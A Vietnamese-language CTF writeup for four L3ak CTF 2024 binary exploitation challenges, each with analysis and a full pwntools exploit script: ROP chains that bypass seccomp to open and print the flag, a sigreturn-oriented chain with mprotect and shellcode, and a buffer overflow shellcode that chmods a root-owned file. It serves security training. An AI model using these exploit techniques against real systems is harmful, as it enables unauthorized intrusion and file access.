Try   HackMD

(writeup) L3ak CTF 2024

  • giải có Docker đi vào lòng đất 🤡

oorrww

  • basic file check

image

  • check ida

image

main()

image

sandbox()
thêm seccomp thôi

image
fillter execve và execveat

image

gift()

analyse

  • chall sẽ cho mình stack và libc
  • khả năng nhập ow cả $rip từ main()

_iso99_scanf("%lf",v5[8*i]) (loop 22 lần)

  • format nhập là "%lf" -> bypass canary bằng input '.'
  • idea sẽ là ORW flag
  • idea ban đầu là chain gadget call orw nhưng không đủ nên đổi hướng là call read 1 lần nữa để ROP
  • NOTE: không thể tin vào path flag trên Docker =)))

author bị ngáo
flag nằm cùng thư mục chall

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./oorrww_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB(): 
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        # b*main+144
        b*main+191
        c
        ''')
        input()


if args.REMOTE:
    p = remote('193.148.168.30',7666)
else:
    p = process(exe.path)
GDB()
p.recvuntil(b'you: ')
string1 = float(p.recvuntil(b' ',drop=True).decode())
value1 = struct.unpack('!Q', struct.pack('!d',string1))[0]
stack_leak = int(hex(value1),16)
info("stack leak: " + hex(stack_leak))

string2 = float(p.recvuntil(b'!',drop=True).decode())
value2 = struct.unpack('!Q', struct.pack('!d',string2))[0]
libc_leak = int(hex(value2),16)
libc.address = libc_leak - 0x62090
info("libc leak: "  + hex(libc_leak))
info("libc base: " + hex(libc.address))

pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
pop_rdx_rbx = 0x00000000000904a9 + libc.address
syscall = 0x0000000000029db4 + libc.address
leave_ret = 0x000000000004da83 + libc.address
open_call = libc.sym.open
read_call = libc.sym.read
write_call = libc.sym.write
payload_open = str(struct.unpack('d', p64(open_call))[0]).encode()
payload_read = str(struct.unpack('d', p64(read_call))[0]).encode()
payload_write = str(struct.unpack('d', p64(write_call))[0]).encode()

info("stack need: " + hex(stack_leak+0x20))

payload_flag = str(struct.unpack('d', b'flag.txt')[0]).encode()
payload_flag1 = str(struct.unpack('d', b'./flag.t')[0]).encode()
payload_flag2 = str(struct.unpack('d', b'xt\0\0\0\0\0\0')[0]).encode()
payload_0 = str(struct.unpack('d',p64(0))[0]).encode()
payload_0x200 = str(struct.unpack('d',p64(0x200))[0]).encode()
payload_rw_section = str(struct.unpack('d', p64(stack_leak+0x60))[0]).encode()
payload_ret_stack = str(struct.unpack('d', p64(stack_leak+8))[0]).encode()
payload_stack = str(struct.unpack('d', p64(stack_leak+8))[0]).encode()
payload_ret = str(struct.unpack('d', p64(pop_rdi+1))[0]).encode()
payload_rdi = str(struct.unpack('d', p64(pop_rdi))[0]).encode()
payload_rsi = str(struct.unpack('d', p64(pop_rsi))[0]).encode()
payload_rax = str(struct.unpack('d', p64(pop_rax))[0]).encode()
payload_rdx_rbx = str(struct.unpack('d', p64(pop_rdx_rbx))[0]).encode()
payload_syscall = str(struct.unpack('d', p64(syscall))[0]).encode()
payload_leave_ret = str(struct.unpack('d', p64(leave_ret))[0]).encode()

sla(b'input:',payload_flag1)
sla(b'input:',payload_flag2)
# sla(b'input:',payload_flag)
# sla(b'input:',payload_0)

sla(b'input:',payload_rdi)
sla(b'input:',payload_0)
sla(b'input:',payload_rsi)
sla(b'input:',payload_rw_section)
sla(b'input:',payload_rdx_rbx)
sla(b'input:',payload_0x200)
sla(b'input:',payload_0)
sla(b'input:',payload_rax)
sla(b'input:',payload_0)
sla(b'input:',payload_read)

for i in range(8):
    sla(b'input:',b'.')

sla(b'input:',payload_ret_stack)
sla(b'input:',payload_leave_ret)


payload = flat(
    pop_rdi, stack_leak,
    pop_rsi, 0,
    pop_rdx_rbx, 0,0,
    pop_rax, 2,
    open_call,
    pop_rdi, 3,
    pop_rsi, stack_leak+0x200,
    pop_rdx_rbx, 0x100,0,
    pop_rax, 0,
    read_call,
    pop_rdi, 1,
    pop_rsi, stack_leak+0x200,
    pop_rdx_rbx, 0x100,0,
    pop_rax, 1,
    write_call
)
sleep(5)

p.send(payload)

p.interactive()
#L3AK{th3_d0ubl3d_1nput_r3turns_whAt_u_wAnt}

L3AK{th3_d0ubl3d_1nput_r3turns_whAt_u_wAnt}

pors

  • basic file check

image

  • check ida

image

main()

image

sandbox()
thêm seccomp thôi

image
filter write, open, mmap, execve, execveat

analyse

  • đầu tiên, chall gọi thẳng hàm syscall() (lưu ý khác với gadget syscall) với tham số lần lượt là 0LL, 0LL, v4, 592LL

tương ứng $rdi, $rsi, $rdx, $rcx (thường là $r10)
nhưng thực tế là $rax, $rdi, $rsi, $rdx

  • xét qua seccomp, k cho lấy shell, k cho open hay write -> đổi hướng sang openat và sendfile (tương tự read&write)
  • mà chain ROP call 2 thằng đó hơi khoai nên sẽ call mprotect rồi ret2shellcode
  • nhưng gadget hiện hữu để chain chỉ có pop rdi; ret nên ROP đống đó bất khả thi
    -> SROP (sigreturn)
  • và path tới flag trong Docker cũng bịp tiếp nha =))))

phải open ticket hỏi
đến cả author còn k biết path flag ở đâu mà =))))))
flag nằm chung ở thư mục challenge nha

  • NOTE: arg cho openat:

int openat(int dirfd, const char *pathname, int flags, mode_t mode);

image

$rdi=0 và $rsi là path tuyệt đối
If pathname is absolute, then dirfd is ignored.

image

$rdi=-100 và $rsi là file_name (path tương đối)
If pathname is relative and dirfd is the special value AT_FDCWD
ref

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./pors', checksec=False)

context.binary = exe
context.arch = 'x86_64'

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*main+75
        b*main+81
        c
        ''')
        input()


if args.REMOTE:
    # p = remote('0',5000)
    p = remote('193.148.168.30',7668)
else:
    p = process(exe.path)

# GDB()

rw_section = 0x404a00
pop_rdi = 0x00000000004012ec
rw_section = 0x404a00
setup = 0x000000000040131c

payload = b'a'*0x20
payload += p64(rw_section+0x20)#rbp
payload += p64(setup)

p.send(payload)

frame = SigreturnFrame()
frame.rdi = 0xa #mprotect
frame.rsi = rw_section-0xa00
frame.rdx = 0x1000
frame.rcx = 0x7
frame.rsp = rw_section
frame.rbp = rw_section + 0x120
frame.rip = exe.plt.syscall

# input()

shellcode = asm(shellcraft.openat(-100, 'flag.txt',0))
shellcode += asm(shellcraft.sendfile(1, 'rax',0, 100))

payload = p64(0x404b40) #return shellcode
payload += p64(pop_rdi+1)*3
payload += p64(rw_section+0x70)
payload += p64(pop_rdi) + p64(0xf)
payload += p64(exe.plt.syscall)
payload += bytes(frame)
payload += p64(0xdeadbeef)
payload += shellcode

p.send(payload)
p.interactive()
#L3AK{sr0p_4nd_m0viing_4nd_G3T_wh4t_u_r34lly_w4nt}

L3AK{sr0p_4nd_m0viing_4nd_G3T_wh4t_u_r34lly_w4nt}


pwnoodle

  • basic file check

image

  • check ida

noodled

image
image

main()
tạo socket rồi đợi connect các thứ

image

friend()
cho stack

image

solve_noodles()
nhận input dc trả về rồi xử lý (0x21 byte)
memcpy() cái đọc được rồi copy lên stack
có BOF ở đây, khi __int64 dest[2] là 8*2 = 0x10
trong khi memcpy tận 1 byte m (unsigned __int8) (max 0xff)
nếu ctrl được m -> ow được $rip
0x18 cho $rbp, 0x20 cho $rip

noodleterm

image
image

main()

image
image

repl()

image
image

image

noodlen()

image
image

image

noodluv()

analyse

  • đôi lời tâm sự, chall này author "xò chám" lắm khi kêu thí sinh giải local ra r gửi script cho ổng, ổng sẽ gửi flag =))))))))))))))))))
  • để DEBUG, ta build Docker rồi remote('0',4819)

qua terminal khác tìm tiến tiền bằng ps aux rồi lấy <pid>
sau đó sudo gdb -p <pid>
lưu ý chỉ có thể DEBUG trên máy ảo, WSL vô dụng

  • với file startup.sh, thứ tự run là ./noodled noodleterm tức là ./A B (xử lí bên B trả về A, xử lí xong A trả về B)

và để ý checksec thấy noodled k có canary và NX disable lẫn NO PIE
-> shellcode

  • để ý thấy ở hàm noodlen() sau khi cho ta nhập size, biến bss num_0 được tính là += size

image

tối đa size=0x10
nhập input giới hạn i <= 0x1Fi < num_0

  • nhưng khi tới bước check

image

không thoả mãn sẽ break
nhưng vẫn giữ biến toàn cục num_0
-> BUG

image

checknoodle()
chỉ return 1 khi payload chỉ chứa mỗi byte '-'

  • và cách nó gửi dữ liệu:

image

code C

       for ( i = 0; i <= 0x1Fu; ++i )
         *((_BYTE *)buf + i + 1) = *((_BYTE *)v7 + >i);

nôm na là tính tổng số lượng byte rồi biến tổng đó về byte ( giống hàm chr() )

  • vậy idea ta sẽ tăng num_0 lên (0x10) nhưng không input payload
  • lần nhập 2 sẽ là shellcode (input tận 0x20)

lưu ý gửi shellcode dưới dạng b'-'*shellcode[i]
tức là mỗi một byte shellcode sẽ gửi số lần b'-'

  • quay lại file noodled, thấy có xử lí chuỗi ở đây

image

nếu có byte NULL sẽ ngắt chuỗi

  • vậy việc ta sẽ viết shellcode không chứa NULL byte, đồng thời chiều dài tối đa 0x18, ở 0x20 sẽ là stack return lại shellcode
  • thế ta sẽ viết shellcode gì?
  • không thể viết read, execve hay execveat vì bài dạng service (socket)
  • ta đọc trong file Dockerfile
...
COPY flag /flag
RUN chmod 600 /flag
...

flag set quyền r__ cho root
r__ ___ ___ thì user không thể cat hay symlink các thứ

  • ta sẽ viêt shellcode call chmod cho flag
  • rồi dùng option noodluv để symlink và in ra

image

  • symlink với flag nằm ở thư mục / (root) nên sẽ để path là lùi '../'
  • NOTE: do máy tui đã set /flag ở cả quyền user nên k cần shellcode vẫn in ra được
sla(b'> ',b'noodluv')

sla(b'recipe?\n',b"../../../../../../../../../flag")

nên nếu quăng cho author sẽ bị cười dô mặt =)))
phải đúng ý author mới chịu cơ =)))

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./noodled', checksec=False)

context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

p = remote('0',4819)

p.recvuntil(B'stackleak:')
stack_leak = int(p.recvline(), 16)
info(f'stack_leak: '+ hex(stack_leak))
dest = stack_leak + 0x10

shellcode = asm('''
        pop    rsp
        push   rax
        movabs rbx,0x67616c662f2f2f2f
        push   rbx
        mov rdi, rsp
        mov    si,0x124
        mov    al,0x5a
        syscall
                ''',arch='amd64')

payload = shellcode
payload = payload.ljust(0x18,b'\x90')
payload += p64(dest)

# pause()
sla(b'> ',b'noodlen')
sla(b'send?',str(0x10))
sla(b'line:',b'a')

info("len: " + str(len(shellcode)))

sla(b'> ',b'noodlen')
sla(b'send?',str(0x10))
p.recvuntil(b'line:')
for i in range(len(payload)):
    sl(b'-'*payload[i])

sla(b'> ',b'noodluv')

sla(b'recipe?\n',b"../../../../../../../../../flag")

p.interactive()

oorrww_revenge

  • basic file check

image

  • check ida

image

main()

image

sandbox()

image

gift()

analyse

  • ở chall này giống nhau về work flow nhưng chỉ khác là ở hàm gift() không còn cho ta địa chỉ libc hay stack nữa
  • bù lại PIE sẽ tắt và nhập tận 30 lần
  • mục tiêu ta vẫn phải leak libc và stack để call ORW

get flag

image

  • script:
#!/usr/bin/env python3

from pwn import *

context.binary = exe = ELF("./oorrww_revenge_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
    p = remote('193.148.168.30', 7667)
else:
    p = process(exe.path)

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript = '''
        b*main+139
        b*main+185
        c
        ''')
    input()  

for i in range(19):
    payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
    sla('input:\n', payload)

pop_rax = 0x0000000000401203
setup = 0x00000000004012da
rw_section = 0x404a00

payload_pop_rax = str(struct.unpack('d', p64(pop_rax))[0]).encode()
payload_got_puts = str(struct.unpack('d', p64(exe.got.puts))[0]).encode()
payload_setup = str(struct.unpack('d', p64(setup))[0]).encode()

sla('input:\n', b'.') #canary
sla('input:\n', str(struct.unpack('d', p64(rw_section))[0]).encode()) #rbp
sla('input:\n', payload_pop_rax)
sla('input:\n', payload_got_puts)
sla('input:\n', payload_setup)

for i in range(6):
    payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
    sla('input:\n', payload)

libc_leak = u64(p.recvuntil(b'\n',drop=True) + b'\0\0') 
libc.address = libc_leak - libc.sym.puts
info("libc leak: "  + hex(libc_leak))
info("libc base: " + hex(libc.address))

pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_r12 = libc.address + 0x000000000011f2e7

for i in range(19):
    payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
    sla('input:\n', payload)

payload_environ = str(struct.unpack('d', p64(libc.sym.environ))[0]).encode()

sla('input:\n', b'.') #canary
sla('input:\n', str(struct.unpack('d', p64(rw_section))[0]).encode()) #rbp
sla('input:\n', payload_pop_rax)
sla('input:\n', payload_environ)
sla('input:\n', payload_setup)

for i in range(6):
    payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
    sla('input:\n', payload)

stack = u64(p.recvuntil(b'\n',drop=True) + b'\0\0') 
info("stack leak: " + hex(stack))

payload_pop_rdi = str(struct.unpack('d', p64(pop_rdi))[0]).encode()
payload_path_flag = str(struct.unpack('d', p64(stack - 0x118 + 0x30))[0]).encode()
payload_pop_rsi = str(struct.unpack('d', p64(pop_rsi))[0]).encode()
payload_0 = str(struct.unpack('d', p64(0))[0]).encode()
payload_open = str(struct.unpack('d', p64(libc.sym.open))[0]).encode()
payload_3 = str(struct.unpack('d', p64(3))[0]).encode()
payload_stack_0x100 = str(struct.unpack('d', p64(stack - 0x118 + 0x100))[0]).encode()
payload_rdx_r12 = str(struct.unpack('d', p64(pop_rdx_r12))[0]).encode()
payload_0x100 = str(struct.unpack('d', p64(0x100))[0]).encode()
payload_read = str(struct.unpack('d', p64(libc.sym.read))[0]).encode()
payload_1 = str(struct.unpack('d', p64(1))[0]).encode()
payload_write = str(struct.unpack('d', p64(libc.sym.write))[0]).encode()
flag1 = str(struct.unpack('d', b'./flag.t')[0]).encode()
flag2 = str(struct.unpack('d', b'xt\0\0\0\0\0\0')[0]).encode()

sla('input:\n', payload_pop_rdi)
sla('input:\n', payload_path_flag)
sla('input:\n', payload_pop_rsi)
sla('input:\n', payload_0)
sla('input:\n', payload_open)
sla('input:\n', payload_pop_rdi)
sla('input:\n', payload_3)
sla('input:\n', payload_pop_rsi)
sla('input:\n', payload_stack_0x100)
sla('input:\n', payload_rdx_r12)
sla('input:\n', payload_0x100)
sla('input:\n', payload_0)
sla('input:\n', payload_read)
sla('input:\n', payload_pop_rdi)
sla('input:\n', payload_1)
sla('input:\n', payload_write)

GDB()

sla('input:\n', flag1)
sla('input:\n', flag2)
sla('input:\n', payload_0)  

sla('input:\n', b'.')

leave_ret = 0x00000000004012c9

payload = str(struct.unpack('d', p64(stack - 0x118 - 8 - 0x50))[0]).encode()
sla('input:\n', payload)
payload = str(struct.unpack('d', p64(leave_ret))[0]).encode()
sla('input:\n', payload)
for i in range(8):
    payload = str(struct.unpack('d', p64(pop_rdi+1))[0]).encode()
    sla('input:\n', payload)

p.interactive()
#L3AK{n0w_u_hav3_th3_k3y_t0_th3_inv1s1ble_ffllaagg}

L3AK{n0w_u_hav3_th3_k3y_t0_th3_inv1s1ble_ffllaagg}